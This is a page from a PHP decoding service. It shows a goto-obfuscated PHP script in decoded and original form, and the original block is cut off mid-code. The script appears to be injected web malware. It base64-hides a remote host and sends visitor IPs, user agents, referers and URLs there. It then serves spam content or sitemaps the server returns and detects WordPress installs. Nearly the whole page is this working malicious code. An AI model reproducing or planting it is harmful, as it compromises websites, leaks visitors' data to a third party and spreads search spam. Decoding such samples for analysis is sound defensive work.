Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto cnveu; au43z: if ($ee03t == "\x2f\x69\x6e\x64\145\x78\56\160\x68\x70") { goto p..
Decoded Output download
<?php goto cnveu; au43z: if ($ee03t == "/index.php") { goto psm4q; } goto dweie; toaeh: goto dvzgw; goto fznzw; aqfmh: function tvnev($lsdua) { goto pflx4; rlznc: $lsdua = str_replace(" ", '', $lsdua); goto mb3fz; gl5e0: cunws: goto al_wm; pflx4: $tywf3 = false; goto rlznc; hzlb3: return false; goto gl5e0; al_wm: $o_7jk = array("googlebot", "yahoo! slurp", "yahoo slurp", "google adsense", "google", "yahoo", "bing", "bingbot"); goto dmvf1; bxpdr: pd2ls: goto jicv3; mb3fz: $lsdua = strtolower($lsdua); goto etzs4; jicv3: return $tywf3; goto mwuyq; dmvf1: foreach ($o_7jk as $lmo6o) { goto aob3y; lpxyh: fwon8: goto hdodr; uoepd: goto pd2ls; goto lpxyh; nl4gn: if (!(stripos($lsdua, trim($lmo6o)) !== false)) { goto fwon8; } goto uuyij; aewwl: $lmo6o = str_replace(" ", '', $lmo6o); goto nl4gn; hdodr: hzgie: goto vxr1b; uuyij: $tywf3 = true; goto uoepd; aob3y: $lmo6o = strtolower($lmo6o); goto aewwl; vxr1b: } goto bxpdr; etzs4: if (!(!$lsdua || $lsdua == '' || empty($lsdua))) { goto cunws; } goto hzlb3; mwuyq: } goto ex7u9; dlecv: qpm1v: goto ylklq; w61sg: $ktxrg = $ggr5l ? base64_encode($ggr5l) : ''; goto fferi; oisky: exit; goto lfczf; s_ox3: $ggr5l = $lbbwi . $_server["QUERY_STRING"]; goto coxpw; vw4pk: $ee03t = $_server["SCRIPT_NAME"] ? $_server["SCRIPT_NAME"] : "/index.php"; goto m7gpg; fferi: $ygctt = $b1tqc ? base64_encode($b1tqc) : ''; goto bq7je; r8qex: exit; goto zolji; ls_qn: $tunqo = "apache"; goto mvyuz; ogx3d: echo $yaj2x["mgs"]; goto yooua; ylklq: $ggr5l = $lbbwi . "item/s" . z2elj($lbbwi) . ".html"; goto gigii; dnlii: $ye0qf = "http://" . $l5si8 . "/v96"; goto gl2qi; apzyy: $y3w42 = urlencode($_server["HTTP_ACCEPT_LANGUAGE"] ? $_server["HTTP_ACCEPT_LANGUAGE"] : ''); goto m3u1g; m3u1g: $b1tqc = urlencode($_server["HTTP_USER_AGENT"] ? $_server["HTTP_USER_AGENT"] : ''); goto vw4pk; diey3: exit; goto pb3ov; bq7je: $dhqcf = $s4imw ? base64_encode($s4imw) : ''; goto dnlii; l1rlq: echo $u57xm; goto oisky; zolji: dvzgw: goto kwx1u; pb3ov: gcext: goto nzm4o; huyj5: @set_time_limit(0); goto sxx9d; zvj_w: psm4q: goto qx1nj; hnrdk: ob_clean(); goto lc6d2; sxx9d: @ini_set("html_errors", "0"); goto aiuos; fznzw: d_py0: goto vmcz0; prcie: $tunqo = "other"; goto w6qst; wnzrz: function kprvb($ulxxf, $x3zth, $q7atv = 50) { goto irmdk; y9aaa: curl_setopt($eursr, curlopt_ssl_verifypeer, false); goto ncr9w; ty28v: curl_setopt($eursr, curlopt_followlocation, true); goto g4mzd; irmdk: $eursr = curl_init(); goto kbp8q; imzww: curl_setopt($eursr, curlopt_postfields, $x3zth); goto d4g0c; g4mzd: curl_setopt($eursr, curlopt_post, 1); goto imzww; kl38c: return $bmmwv; goto yz0yq; kbp8q: curl_setopt($eursr, curlopt_url, $ulxxf); goto njzmn; xbwuk: curl_close($eursr); goto kl38c; kxosr: curl_setopt($eursr, curlopt_encoding, "gzip,deflate"); goto ty28v; kk8io: if (!(stripos($ulxxf, "https") !== false)) { goto v3nmq; } goto y9aaa; ob4ep: curl_setopt($eursr, curlopt_autoreferer, true); goto kk8io; gtumm: curl_setopt($eursr, curlopt_timeout, $q7atv); goto dyjrs; d4g0c: curl_setopt($eursr, curlopt_returntransfer, 1); goto ob4ep; ncr9w: curl_setopt($eursr, curlopt_ssl_verifyhost, false); goto puax9; puax9: v3nmq: goto gtumm; njzmn: curl_setopt($eursr, curlopt_header, 0); goto kxosr; dyjrs: $bmmwv = curl_exec($eursr); goto xbwuk; yz0yq: } goto s3w7z; s3w7z: function vvujn() { goto j5fzn; ju5dp: goto jtryl; goto st85w; xjfhh: if (isset($_server["HTTP_X_FORWARDED_FOR"])) { goto e6ojh; } goto keqog; afrdn: $iaee6 = $_server["HTTP_X_CLUSTER_CLIENT_IP"]; goto dinvn; b8d2h: $iaee6 = $_server["HTTP_X_FORWARDED_FOR"]; goto wznly; bqypz: ccqdn: goto ju5dp; dinvn: goto jvzg5; goto zjreg; zzr48: $iaee6 = $_server["HTTP_X_FORWARDED"]; goto vx7hl; j5fzn: if (isset($_server)) { goto tud4c; } goto kyku7; xiscf: $iaee6 = getenv("REMOTE_ADDR"); goto upbhs; fo04e: plr8b: goto afrdn; yp4ug: gig6w: goto hndnw; u3zan: jvzg5: goto fxzdu; rfj5d: goto jvzg5; goto suy2x; zpgs2: lhoya: goto zzr48; wznly: goto jvzg5; goto can1k; uy1pr: goto ccqdn; goto yp4ug; bhx1t: if (isset($_server["HTTP_FORWARDED"])) { goto yah1o; } goto pskub; upbhs: goto ccqdn; goto tswvg; tswvg: xgplv: goto p0bf0; keqog: if (isset($_server["HTTP_CLIENT_IP"])) { goto izw63; } goto dtvo3; ebnbj: $iaee6 = $_server["HTTP_CLIENT_IP"]; goto phpzd; vx7hl: goto jvzg5; goto fo04e; snmoz: goto jvzg5; goto msspv; p0bf0: $iaee6 = getenv("HTTP_X_FORWARDED_FOR"); goto uy1pr; hndnw: $iaee6 = getenv("HTTP_CLIENT_IP"); goto bqypz; fxzdu: jtryl: goto p2zpn; msspv: e6ojh: goto b8d2h; m0jes: if (isset($_server["HTTP_FORWARDED_FOR"])) { goto ajhdi; } goto bhx1t; kyku7: if (getenv("HTTP_X_FORWARDED_FOR")) { goto xgplv; } goto zgm9a; tvn9f: if (isset($_server["HTTP_X_CLUSTER_CLIENT_IP"])) { goto plr8b; } goto m0jes; suy2x: yah1o: goto jqlzc; p2zpn: return trim($iaee6); goto cjxuh; jqlzc: $iaee6 = $_server["HTTP_FORWARDED"]; goto u3zan; zgm9a: if (getenv("HTTP_CLIENT_IP")) { goto gig6w; } goto xiscf; pskub: $iaee6 = $_server["REMOTE_ADDR"]; goto snmoz; kks1y: $iaee6 = $_server["HTTP_FORWARDED_FOR"]; goto rfj5d; st85w: tud4c: goto xjfhh; can1k: izw63: goto ebnbj; dtvo3: if (isset($_server["HTTP_X_FORWARDED"])) { goto lhoya; } goto tvn9f; phpzd: goto jvzg5; goto zpgs2; zjreg: ajhdi: goto kks1y; cjxuh: } goto gsvwn; bz8uy: mypqx: goto daodx; fzal0: if ($_server["QUERY_STRING"] == '') { goto qpm1v; } goto s_ox3; lc6d2: @ob_end_clean(); goto vtaa6; ikzrt: goto bamim; goto zvj_w; w6qst: goto vuibm; goto hsvx4; nzm4o: $qko9f = $y3w42 ? base64_encode($y3w42) : ''; goto w61sg; gl2qi: $x3zth = array("i" => $kehxv, "l" => $qko9f, "u" => $ktxrg, "g" => $ud13m, "s" => $tunqo, "ua" => $ygctt, "hr" => $dhqcf); goto dxnzl; j1y5i: $rkvmp = cnisv() == true ? "/" : "?"; goto c5ti0; coxpw: goto hgor3; goto dlecv; yooxb: function wip8d($ulxxf) { goto gpijq; bzynf: if ($alap_) { goto hql52; } goto o0z3u; o03gn: curl_close($tbgpg); goto xeyzn; lilqa: $alap_ = curl_exec($tbgpg); goto o03gn; vln80: curl_setopt($tbgpg, curlopt_url, $ulxxf); goto pxuo5; xeyzn: hql52: goto bgfms; bgfms: return $alap_; goto gthzz; pxuo5: curl_setopt($tbgpg, curlopt_returntransfer, 1); goto lilqa; gpijq: $alap_ = file_get_contents($ulxxf); goto bzynf; o0z3u: $tbgpg = curl_init(); goto vln80; gthzz: } goto wnzrz; rcinx: if (!(substr($ggr5l, -4) == ".jpg" || substr($ggr5l, -4) == ".ico" || substr($ggr5l, -4) == ".png")) { goto gcext; } goto diey3; djxnl: vuibm: goto gcpad; aiuos: error_reporting(0); goto apzyy; fv0n8: header("Content-type:application/xml; charset=UTF-8"); goto hjhpt; cawpm: if (stripos($_server["SERVER_SOFTWARE"], "apache") !== false) { goto qqvek; } goto o9thp; d2huh: if ($yaj2x["h"] == 2) { goto oztvb; } goto toaeh; osbfr: if ($yaj2x["h"] == 1) { goto d_py0; } goto d2huh; an_gv: bamim: goto db12o; cnveu: $ud13m = urldecode("B01"); goto gbp_j; gbp_j: $l5si8 = base64_decode("dnJicGFrLmx0Y2hvaWNlLnRvcA=="); goto hnrdk; abgr2: $rkvmp = "?"; goto gq1zd; gigii: hgor3: goto ikzrt; jmrmz: @ignore_user_abort(true); goto huyj5; gq1zd: goto lagjo; goto nefrc; kwx1u: function cnisv() { goto ki1uh; ki1uh: $snu8e = $_server["DOCUMENT_ROOT"]; goto k4nnn; k5k5v: iqcxa: goto cslhb; bs_ix: goto iqcxa; goto dk6dr; tzvwx: return true; goto k5k5v; k4nnn: if (is_dir($snu8e . "/wp-admin/") && is_file($snu8e . "/wp-config.php") && is_dir($snu8e . "/wp-includes/") && is_file($snu8e . "/wp-blog-header.php") && is_dir($snu8e . "/wp-content/") && is_file($snu8e . "/.htaccess")) { goto js93i; } goto hidrc; dk6dr: js93i: goto tzvwx; hidrc: return false; goto bs_ix; cslhb: } goto yooxb; gsvwn: function ljhdv() { goto auj4k; i2zv4: ghmcc: goto fwra6; t3ppc: goto bkhwl; goto i2zv4; isymb: return $kp9rt; goto andsn; rq4qb: $kp9rt = "https://" . $_server["HTTP_HOST"]; goto naebk; udyfh: goto bkhwl; goto jinlm; auj4k: if (isset($_server["HTTPS"]) && ($_server["HTTPS"] == "on" || $_server["HTTPS"] == "1") || isset($_server["HTTPS"]) && (isset($_server["SERVER_PORT"]) && $_server["SERVER_PORT"] == 443)) { goto ghmcc; } goto dhqlt; qxan1: $kp9rt = "http://" . $_server["HTTP_HOST"]; goto t3ppc; jinlm: ir5ub: goto rq4qb; fwra6: $kp9rt = "https://" . $_server["HTTP_HOST"]; goto udyfh; naebk: bkhwl: goto isymb; dhqlt: if (!empty($_server["HTTP_X_FORWARDED_PROTO"]) && $_server["HTTP_X_FORWARDED_PROTO"] == "https" || !empty($_server["HTTP_X_FORWARDED_SSL"]) && $_server["HTTP_X_FORWARDED_SSL"] == "on") { goto ir5ub; } goto qxan1; andsn: } goto vbpri; qx1nj: $lbbwi = ljhdv(); goto eys59; m2o8c: gef5r: goto rcinx; daodx: $lbbwi = ljhdv() . $ee03t . $rkvmp; goto yamzx; eys59: $ggr5l = $lbbwi . $_server["REQUEST_URI"]; goto an_gv; lfczf: goto dvzgw; goto wt_ud; hsvx4: qqvek: goto ls_qn; c5ti0: lagjo: goto djxnl; avtb6: $kehxv = urlencode(vvujn()); goto cawpm; dweie: $lbbwi = ljhdv() . $ee03t . $rkvmp; goto fzal0; dxnzl: $r6rs6 = kprvb($ye0qf, $x3zth); goto zjacd; nefrc: o1ec3: goto j1y5i; yamzx: $ggr5l = $lbbwi . "u/b" . z2elj($lbbwi) . ".html"; goto m2o8c; mvyuz: if ($ee03t == "/index.php") { goto o1ec3; } goto abgr2; hjhpt: uhr4u: goto l1rlq; yooua: echo wip8d($yaj2x["mgs"]); goto r8qex; m7gpg: $s4imw = urlencode($_server["HTTP_REFERER"] ? $_server["HTTP_REFERER"] : ''); goto avtb6; db12o: goto gef5r; goto bz8uy; zjacd: $yaj2x = json_decode($r6rs6, true); goto osbfr; wt_ud: oztvb: goto ogx3d; gcpad: if (($_server["REQUEST_URI"] == "/" || $_server["REQUEST_URI"] == "/index.php") && $_server["QUERY_STRING"] == '') { goto mypqx; } goto au43z; mep3b: if (!(md5(substr($ggr5l, -4)) == "4e9f6c7fdef327a6b0e08505dc57a694" && stripos($ggr5l, base64_decode("cGluZ3NpdGVtYXAueG1s")) === false)) { goto uhr4u; } goto fv0n8; vtaa6: @ob_start(); goto jmrmz; o9thp: $rkvmp = "?"; goto prcie; vbpri: function z2elj($d84ct, $slae3 = 4) { goto uq5wk; ko9n2: goto zl_ba; goto akubc; nmorj: $epiy0 = substr($epiy0, 0, $slae3); goto nkoki; yfe54: a83ke: goto cqsk1; wu1tp: sguoh: goto nxw3j; w7u6m: zl_ba: goto gfuh9; akubc: fe8jm: goto wu1tp; gfuh9: if (!($kehxv < strlen($d84ct))) { goto fe8jm; } goto a_xpp; uq5wk: $kehxv = 0; goto us5g7; h6glx: goto sguoh; goto yfe54; nxw3j: if (!(strlen($epiy0) < $slae3)) { goto a83ke; } goto ksmpz; h4ajp: return (string) $epiy0; goto manj5; ksmpz: $epiy0 = (int) $epiy0 . "0"; goto h6glx; nkoki: dxmqo: goto h4ajp; a_xpp: $epiy0 += ord(substr($d84ct, $kehxv, 1)); goto vk8is; us5g7: $epiy0 = 1; goto w7u6m; cqsk1: if (!(strlen($epiy0) > $slae3)) { goto dxmqo; } goto nmorj; vk8is: $kehxv++; goto ko9n2; manj5: } goto aqfmh; vmcz0: $u57xm = str_replace("#domain#", $lbbwi, $yaj2x["mgs"]); goto mep3b; ex7u9: function exsno($nt0zl) { goto fmimr; y04_p: $nt0zl = strtolower($nt0zl); goto b918i; mmpua: c8moc: goto qylbn; jtp50: return false; goto mh8ut; mh8ut: j6i_i: goto kx9wl; kx9wl: $uh2yb = array("google.co.jp", "google.com", "yahoo.co.jp", "yahoo.com", "bing.com"); goto j7jez; b918i: if (!(!$nt0zl || $nt0zl == '' || empty($nt0zl))) { goto j6i_i; } goto jtp50; fmimr: $tvyci = false; goto y04_p; j7jez: foreach ($uh2yb as $lgcuy) { goto qsmje; frg2m: jayrk: goto tyw0t; qsmje: if (!(stripos($nt0zl, trim($lgcuy)) !== false)) { goto jayrk; } goto hxzkh; tyw0t: mxqz7: goto vzsgx; kc0gw: goto c8moc; goto frg2m; hxzkh: $tvyci = true; goto kc0gw; vzsgx: } goto mmpua; qylbn: return $tvyci; goto hrztm; hrztm: } ?>
Did this file decode correctly?
Original Code
<?php goto cnveu; au43z: if ($ee03t == "\x2f\x69\x6e\x64\145\x78\56\160\x68\x70") { goto psm4q; } goto dweie; toaeh: goto dvzgw; goto fznzw; aqfmh: function tvnev($lsdua) { goto pflx4; rlznc: $lsdua = str_replace("\x20", '', $lsdua); goto mb3fz; gl5e0: cunws: goto al_wm; pflx4: $tywf3 = false; goto rlznc; hzlb3: return false; goto gl5e0; al_wm: $o_7jk = array("\x67\x6f\157\147\x6c\x65\x62\x6f\x74", "\x79\x61\x68\157\157\x21\40\163\154\x75\162\160", "\x79\x61\x68\157\x6f\x20\163\x6c\165\162\x70", "\x67\x6f\x6f\147\154\145\40\x61\x64\x73\x65\x6e\163\x65", "\147\157\157\x67\154\145", "\171\141\x68\157\x6f", "\142\151\x6e\147", "\x62\x69\156\147\142\x6f\x74"); goto dmvf1; bxpdr: pd2ls: goto jicv3; mb3fz: $lsdua = strtolower($lsdua); goto etzs4; jicv3: return $tywf3; goto mwuyq; dmvf1: foreach ($o_7jk as $lmo6o) { goto aob3y; lpxyh: fwon8: goto hdodr; uoepd: goto pd2ls; goto lpxyh; nl4gn: if (!(stripos($lsdua, trim($lmo6o)) !== false)) { goto fwon8; } goto uuyij; aewwl: $lmo6o = str_replace("\40", '', $lmo6o); goto nl4gn; hdodr: hzgie: goto vxr1b; uuyij: $tywf3 = true; goto uoepd; aob3y: $lmo6o = strtolower($lmo6o); goto aewwl; vxr1b: } goto bxpdr; etzs4: if (!(!$lsdua || $lsdua == '' || empty($lsdua))) { goto cunws; } goto hzlb3; mwuyq: } goto ex7u9; dlecv: qpm1v: goto ylklq; w61sg: $ktxrg = $ggr5l ? base64_encode($ggr5l) : ''; goto fferi; oisky: exit; goto lfczf; s_ox3: $ggr5l = $lbbwi . $_server["\x51\x55\105\122\131\137\x53\x54\122\x49\116\107"]; goto coxpw; vw4pk: $ee03t = $_server["\123\103\x52\111\120\124\137\x4e\101\x4d\x45"] ? $_server["\123\x43\122\111\120\124\x5f\x4e\101\x4d\x45"] : "\x2f\x69\x6e\x64\145\x78\x2e\x70\x68\160"; goto m7gpg; fferi: $ygctt = $b1tqc ? base64_encode($b1tqc) : ''; goto bq7je; r8qex: exit; goto zolji; ls_qn: $tunqo = "\141\160\141\143\x68\145"; goto mvyuz; ogx3d: echo $yaj2x["\x6d\147\x73"]; goto yooua; ylklq: $ggr5l = $lbbwi . "\151\164\145\155\x2f\163" . z2elj($lbbwi) . "\x2e\x68\164\x6d\x6c"; goto gigii; dnlii: $ye0qf = "\150\164\x74\x70\x3a\57\x2f" . $l5si8 . "\57\x76\71\x36"; goto gl2qi; apzyy: $y3w42 = urlencode($_server["\x48\x54\124\x50\137\x41\x43\103\105\x50\x54\137\114\x41\116\x47\x55\101\x47\x45"] ? $_server["\x48\124\x54\x50\137\x41\x43\x43\x45\x50\x54\137\x4c\101\116\107\125\101\107\x45"] : ''); goto m3u1g; m3u1g: $b1tqc = urlencode($_server["\110\124\124\120\137\125\x53\x45\122\137\101\107\105\116\x54"] ? $_server["\110\124\x54\x50\x5f\125\123\x45\122\137\101\107\105\116\x54"] : ''); goto vw4pk; diey3: exit; goto pb3ov; bq7je: $dhqcf = $s4imw ? base64_encode($s4imw) : ''; goto dnlii; l1rlq: echo $u57xm; goto oisky; zolji: dvzgw: goto kwx1u; pb3ov: gcext: goto nzm4o; huyj5: @set_time_limit(0); goto sxx9d; zvj_w: psm4q: goto qx1nj; hnrdk: ob_clean(); goto lc6d2; sxx9d: @ini_set("\150\164\x6d\x6c\137\x65\x72\162\157\x72\163", "\60"); goto aiuos; fznzw: d_py0: goto vmcz0; prcie: $tunqo = "\x6f\164\150\145\162"; goto w6qst; wnzrz: function kprvb($ulxxf, $x3zth, $q7atv = 50) { goto irmdk; y9aaa: curl_setopt($eursr, curlopt_ssl_verifypeer, false); goto ncr9w; ty28v: curl_setopt($eursr, curlopt_followlocation, true); goto g4mzd; irmdk: $eursr = curl_init(); goto kbp8q; imzww: curl_setopt($eursr, curlopt_postfields, $x3zth); goto d4g0c; g4mzd: curl_setopt($eursr, curlopt_post, 1); goto imzww; kl38c: return $bmmwv; goto yz0yq; kbp8q: curl_setopt($eursr, curlopt_url, $ulxxf); goto njzmn; xbwuk: curl_close($eursr); goto kl38c; kxosr: curl_setopt($eursr, curlopt_encoding, "\147\x7a\x69\x70\54\x64\x65\x66\154\141\x74\145"); goto ty28v; kk8io: if (!(stripos($ulxxf, "\x68\164\x74\x70\163") !== false)) { goto v3nmq; } goto y9aaa; ob4ep: curl_setopt($eursr, curlopt_autoreferer, true); goto kk8io; gtumm: curl_setopt($eursr, curlopt_timeout, $q7atv); goto dyjrs; d4g0c: curl_setopt($eursr, curlopt_returntransfer, 1); goto ob4ep; ncr9w: curl_setopt($eursr, curlopt_ssl_verifyhost, false); goto puax9; puax9: v3nmq: goto gtumm; njzmn: curl_setopt($eursr, curlopt_header, 0); goto kxosr; dyjrs: $bmmwv = curl_exec($eursr); goto xbwuk; yz0yq: } goto s3w7z; s3w7z: function vvujn() { goto j5fzn; ju5dp: goto jtryl; goto st85w; xjfhh: if (isset($_server["\x48\x54\124\x50\x5f\130\137\x46\x4f\122\x57\101\122\104\x45\x44\x5f\106\117\122"])) { goto e6ojh; } goto keqog; afrdn: $iaee6 = $_server["\x48\124\124\120\x5f\130\137\103\114\125\123\x54\x45\x52\137\x43\x4c\x49\105\116\x54\137\x49\x50"]; goto dinvn; b8d2h: $iaee6 = $_server["\110\x54\x54\120\x5f\x58\x5f\x46\x4f\122\127\x41\x52\x44\x45\104\x5f\106\x4f\x52"]; goto wznly; bqypz: ccqdn: goto ju5dp; dinvn: goto jvzg5; goto zjreg; zzr48: $iaee6 = $_server["\110\124\x54\x50\137\130\137\x46\117\122\x57\x41\x52\104\x45\x44"]; goto vx7hl; j5fzn: if (isset($_server)) { goto tud4c; } goto kyku7; xiscf: $iaee6 = getenv("\122\x45\115\117\124\x45\x5f\101\104\104\122"); goto upbhs; fo04e: plr8b: goto afrdn; yp4ug: gig6w: goto hndnw; u3zan: jvzg5: goto fxzdu; rfj5d: goto jvzg5; goto suy2x; zpgs2: lhoya: goto zzr48; wznly: goto jvzg5; goto can1k; uy1pr: goto ccqdn; goto yp4ug; bhx1t: if (isset($_server["\110\x54\124\x50\x5f\x46\x4f\122\x57\101\122\x44\105\104"])) { goto yah1o; } goto pskub; upbhs: goto ccqdn; goto tswvg; tswvg: xgplv: goto p0bf0; keqog: if (isset($_server["\110\x54\124\x50\137\x43\114\x49\x45\x4e\x54\x5f\111\120"])) { goto izw63; } goto dtvo3; ebnbj: $iaee6 = $_server["\110\x54\124\120\x5f\x43\114\x49\105\x4e\x54\x5f\x49\x50"]; goto phpzd; vx7hl: goto jvzg5; goto fo04e; snmoz: goto jvzg5; goto msspv; p0bf0: $iaee6 = getenv("\x48\x54\x54\120\137\130\137\106\x4f\122\127\x41\x52\x44\x45\x44\x5f\106\117\x52"); goto uy1pr; hndnw: $iaee6 = getenv("\x48\124\124\120\x5f\x43\x4c\111\x45\116\x54\x5f\x49\x50"); goto bqypz; fxzdu: jtryl: goto p2zpn; msspv: e6ojh: goto b8d2h; m0jes: if (isset($_server["\x48\124\x54\120\x5f\x46\117\122\x57\x41\x52\104\105\104\137\x46\x4f\122"])) { goto ajhdi; } goto bhx1t; kyku7: if (getenv("\110\x54\x54\120\x5f\x58\137\x46\x4f\x52\127\101\x52\104\x45\104\x5f\106\x4f\x52")) { goto xgplv; } goto zgm9a; tvn9f: if (isset($_server["\x48\x54\x54\120\137\130\x5f\x43\x4c\x55\123\124\105\x52\137\103\x4c\x49\105\116\x54\x5f\111\120"])) { goto plr8b; } goto m0jes; suy2x: yah1o: goto jqlzc; p2zpn: return trim($iaee6); goto cjxuh; jqlzc: $iaee6 = $_server["\110\124\124\x50\x5f\106\x4f\x52\x57\101\x52\x44\x45\104"]; goto u3zan; zgm9a: if (getenv("\x48\124\124\x50\137\x43\114\111\x45\x4e\x54\x5f\111\120")) { goto gig6w; } goto xiscf; pskub: $iaee6 = $_server["\x52\105\x4d\117\124\x45\137\101\x44\x44\x52"]; goto snmoz; kks1y: $iaee6 = $_server["\110\x54\x54\120\137\x46\117\122\127\101\x52\104\x45\x44\137\106\x4f\122"]; goto rfj5d; st85w: tud4c: goto xjfhh; can1k: izw63: goto ebnbj; dtvo3: if (isset($_server["\110\124\124\x50\137\x58\137\x46\117\122\x57\101\x52\x44\x45\x44"])) { goto lhoya; } goto tvn9f; phpzd: goto jvzg5; goto zpgs2; zjreg: ajhdi: goto kks1y; cjxuh: } goto gsvwn; bz8uy: mypqx: goto daodx; fzal0: if ($_server["\x51\125\x45\x52\131\x5f\123\x54\x52\x49\116\107"] == '') { goto qpm1v; } goto s_ox3; lc6d2: @ob_end_clean(); goto vtaa6; ikzrt: goto bamim; goto zvj_w; w6qst: goto vuibm; goto hsvx4; nzm4o: $qko9f = $y3w42 ? base64_encode($y3w42) : ''; goto w61sg; gl2qi: $x3zth = array("\x69" => $kehxv, "\154" => $qko9f, "\165" => $ktxrg, "\x67" => $ud13m, "\163" => $tunqo, "\x75\x61" => $ygctt, "\x68\162" => $dhqcf); goto dxnzl; j1y5i: $rkvmp = cnisv() == true ? "\x2f" : "\x3f"; goto c5ti0; coxpw: goto hgor3; goto dlecv; yooxb: function wip8d($ulxxf) { goto gpijq; bzynf: if ($alap_) { goto hql52; } goto o0z3u; o03gn: curl_close($tbgpg); goto xeyzn; lilqa: $alap_ = curl_exec($tbgpg); goto o03gn; vln80: curl_setopt($tbgpg, curlopt_url, $ulxxf); goto pxuo5; xeyzn: hql52: goto bgfms; bgfms: return $alap_; goto gthzz; pxuo5: curl_setopt($tbgpg, curlopt_returntransfer, 1); goto lilqa; gpijq: $alap_ = file_get_contents($ulxxf); goto bzynf; o0z3u: $tbgpg = curl_init(); goto vln80; gthzz: } goto wnzrz; rcinx: if (!(substr($ggr5l, -4) == "\x2e\x6a\160\x67" || substr($ggr5l, -4) == "\56\151\x63\157" || substr($ggr5l, -4) == "\56\x70\x6e\147")) { goto gcext; } goto diey3; djxnl: vuibm: goto gcpad; aiuos: error_reporting(0); goto apzyy; fv0n8: header("\103\x6f\x6e\164\x65\x6e\x74\55\164\171\x70\x65\x3a\x61\x70\160\154\x69\143\x61\164\x69\157\156\57\170\x6d\154\73\40\143\150\141\x72\163\x65\164\75\125\124\x46\x2d\70"); goto hjhpt; cawpm: if (stripos($_server["\x53\x45\x52\126\105\x52\x5f\x53\117\106\124\127\101\x52\x45"], "\x61\x70\141\143\x68\145") !== false) { goto qqvek; } goto o9thp; d2huh: if ($yaj2x["\150"] == 2) { goto oztvb; } goto toaeh; osbfr: if ($yaj2x["\x68"] == 1) { goto d_py0; } goto d2huh; an_gv: bamim: goto db12o; cnveu: $ud13m = urldecode("\102\x30\x31"); goto gbp_j; gbp_j: $l5si8 = base64_decode("\144\x6e\x4a\x69\143\x47\x46\162\114\155\x78\60\131\x32\150\166\141\x57\116\154\x4c\x6e\122\166\x63\x41\75\x3d"); goto hnrdk; abgr2: $rkvmp = "\77"; goto gq1zd; gigii: hgor3: goto ikzrt; jmrmz: @ignore_user_abort(true); goto huyj5; gq1zd: goto lagjo; goto nefrc; kwx1u: function cnisv() { goto ki1uh; ki1uh: $snu8e = $_server["\104\117\103\x55\115\x45\116\x54\x5f\122\x4f\117\x54"]; goto k4nnn; k5k5v: iqcxa: goto cslhb; bs_ix: goto iqcxa; goto dk6dr; tzvwx: return true; goto k5k5v; k4nnn: if (is_dir($snu8e . "\57\167\160\x2d\141\x64\x6d\151\156\57") && is_file($snu8e . "\57\167\160\55\143\157\156\x66\151\x67\x2e\x70\150\x70") && is_dir($snu8e . "\x2f\167\160\55\x69\156\x63\154\165\144\145\163\57") && is_file($snu8e . "\57\x77\160\55\142\x6c\x6f\147\x2d\150\x65\x61\x64\x65\162\x2e\x70\150\x70") && is_dir($snu8e . "\57\167\160\55\143\157\156\164\145\156\164\57") && is_file($snu8e . "\x2f\x2e\150\x74\141\x63\x63\x65\163\163")) { goto js93i; } goto hidrc; dk6dr: js93i: goto tzvwx; hidrc: return false; goto bs_ix; cslhb: } goto yooxb; gsvwn: function ljhdv() { goto auj4k; i2zv4: ghmcc: goto fwra6; t3ppc: goto bkhwl; goto i2zv4; isymb: return $kp9rt; goto andsn; rq4qb: $kp9rt = "\150\164\x74\160\163\x3a\x2f\x2f" . $_server["\x48\124\x54\x50\137\110\117\123\x54"]; goto naebk; udyfh: goto bkhwl; goto jinlm; auj4k: if (isset($_server["\x48\x54\x54\x50\x53"]) && ($_server["\110\124\124\x50\123"] == "\157\x6e" || $_server["\x48\x54\x54\120\x53"] == "\61") || isset($_server["\110\x54\x54\x50\123"]) && (isset($_server["\x53\105\x52\126\105\x52\137\120\117\122\124"]) && $_server["\123\105\x52\x56\105\x52\137\120\117\x52\124"] == 443)) { goto ghmcc; } goto dhqlt; qxan1: $kp9rt = "\x68\164\x74\x70\72\x2f\57" . $_server["\x48\124\x54\120\x5f\110\117\x53\x54"]; goto t3ppc; jinlm: ir5ub: goto rq4qb; fwra6: $kp9rt = "\150\x74\x74\x70\x73\x3a\57\x2f" . $_server["\x48\124\x54\x50\137\x48\x4f\123\x54"]; goto udyfh; naebk: bkhwl: goto isymb; dhqlt: if (!empty($_server["\x48\124\124\120\137\x58\x5f\x46\117\122\x57\101\x52\x44\x45\x44\x5f\120\x52\x4f\x54\117"]) && $_server["\x48\x54\124\x50\x5f\x58\x5f\x46\x4f\x52\127\101\122\x44\105\x44\137\120\x52\117\124\x4f"] == "\150\164\164\x70\x73" || !empty($_server["\x48\124\124\120\x5f\130\137\106\117\122\x57\x41\x52\x44\105\x44\137\123\x53\114"]) && $_server["\110\x54\124\120\137\130\137\106\x4f\122\127\101\122\104\105\x44\x5f\123\123\114"] == "\157\156") { goto ir5ub; } goto qxan1; andsn: } goto vbpri; qx1nj: $lbbwi = ljhdv(); goto eys59; m2o8c: gef5r: goto rcinx; daodx: $lbbwi = ljhdv() . $ee03t . $rkvmp; goto yamzx; eys59: $ggr5l = $lbbwi . $_server["\122\105\x51\x55\x45\x53\x54\137\x55\x52\111"]; goto an_gv; lfczf: goto dvzgw; goto wt_ud; hsvx4: qqvek: goto ls_qn; c5ti0: lagjo: goto djxnl; avtb6: $kehxv = urlencode(vvujn()); goto cawpm; dweie: $lbbwi = ljhdv() . $ee03t . $rkvmp; goto fzal0; dxnzl: $r6rs6 = kprvb($ye0qf, $x3zth); goto zjacd; nefrc: o1ec3: goto j1y5i; yamzx: $ggr5l = $lbbwi . "\x75\57\x62" . z2elj($lbbwi) . "\x2e\x68\164\x6d\154"; goto m2o8c; mvyuz: if ($ee03t == "\x2f\x69\156\x64\145\x78\x2e\160\150\160") { goto o1ec3; } goto abgr2; hjhpt: uhr4u: goto l1rlq; yooua: echo wip8d($yaj2x["\x6d\147\163"]); goto r8qex; m7gpg: $s4imw = urlencode($_server["\110\x54\x54\x50\x5f\x52\x45\106\105\122\105\122"] ? $_server["\x48\x54\x54\x50\137\122\105\x46\x45\122\105\122"] : ''); goto avtb6; db12o: goto gef5r; goto bz8uy; zjacd: $yaj2x = json_decode($r6rs6, true); goto osbfr; wt_ud: oztvb: goto ogx3d; gcpad: if (($_server["\x52\x45\x51\x55\105\123\x54\x5f\125\122\x49"] == "\57" || $_server["\x52\105\121\125\105\123\124\137\x55\x52\x49"] == "\x2f\151\x6e\144\145\170\x2e\160\x68\x70") && $_server["\121\125\x45\122\131\137\123\x54\122\x49\x4e\x47"] == '') { goto mypqx; } goto au43z; 